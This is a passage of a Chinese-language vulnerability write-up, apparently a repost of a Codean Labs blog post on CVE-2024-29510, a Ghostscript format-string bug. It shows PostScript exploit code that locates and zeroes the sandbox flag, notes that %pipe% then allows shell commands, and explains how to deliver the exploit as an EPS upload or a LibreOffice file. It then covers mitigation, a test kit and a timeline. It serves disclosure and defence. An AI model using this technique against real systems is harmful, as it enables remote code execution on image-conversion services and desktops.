/PtrMemOffset 208 PtrMem ptr_add_offset def
/PtrGsLibCtx IdxStackControllable PtrMemOffset read_dereferenced_ptr_at def

% `core`在`gs_lib_ctx`中的偏移量是8
/PtrGsLibCtxOffset 8 PtrGsLibCtx ptr_add_offset def
/PtrCore IdxStackControllable PtrGsLibCtxOffset read_dereferenced_ptr_at def

% `path_control_active`在`core`中的偏移量是156
/PtrPathControlActive 156 PtrCore ptr_add_offset def

现在我们有了path_control_active的地址。剩下的最后一步是用0覆盖它。使用%n的变体不能直接写入如此低的值,但我们可以通过改写&path_control_active - 3来轻松克服这个问题,这在小端平台上将用我们写入的(小)整数的最显著字节覆盖实际字段的最不显著字节,从而将其设置为零。我们确实部分破坏了结构体中的另一个值,但似乎并不重要。沙箱将立即被禁用,允许通过%pipe%执行shell命令。

您可以在此下载适用于Linux(x86)的完整利用代码。当然,您可以更改结尾的命令(gnome-calculator)以满足您的喜好。

利用代码也是一个有效的EPS文件,因此您可以将其上传到接受EPS并调用Ghostscript的图像转换服务。或者,我们可以将其嵌入到LibreOffice文档文件中,当文件打开时触发命令执行,无论是通过无头的libreoffice-convert服务器还是桌面环境:

缓解措施

在Codean Labs,我们意识到跟踪这样的依赖项及其相关风险是困难的。我们很高兴能为您承担这个负担。我们以高效、彻底和人性化的方式执行应用程序安全评估,让您专注于开发。点击此处了解更多。

针对这个漏洞的最佳缓解措施是将您的Ghostscript更新到v10.03.1版本。如果您的发行版没有提供最新的Ghostscript版本,它可能已经发布了包含此漏洞修复的补丁版本(例如,Debian,Ubuntu,Fedora)。

如果您不确定您是否受到影响,我们提供了一个测试工具包:一个小的Postscript文件,它将告诉您您的Ghostscript版本是否受到影响。您可以从此处下载它,并像这样运行它:

ghostscript -q -dNODISPLAY -dBATCH CVE-2024-29510_testkit.ps

时间线

  • 2024-03-14: 报告给Artifex Ghostscript问题跟踪器
  • 2024-03-24: Mitre分配了CVE-2024-29510
  • 2024-03-28: 开发人员确认了问题
  • 2024-05-02: 发布了缓解问题的Ghostscript 10.03.1
  • 2024-07-02: 发布了这篇博文


原文始发于微信公众号(3072):CVE-2024-29510 – 格式化字符串漏洞实现Ghostscript RCE

版权声明:admin 发表于 2024年7月3日 上午10:19。
转载请注明:CVE-2024-29510 – 格式化字符串漏洞实现Ghostscript RCE | CTF导航

相关文章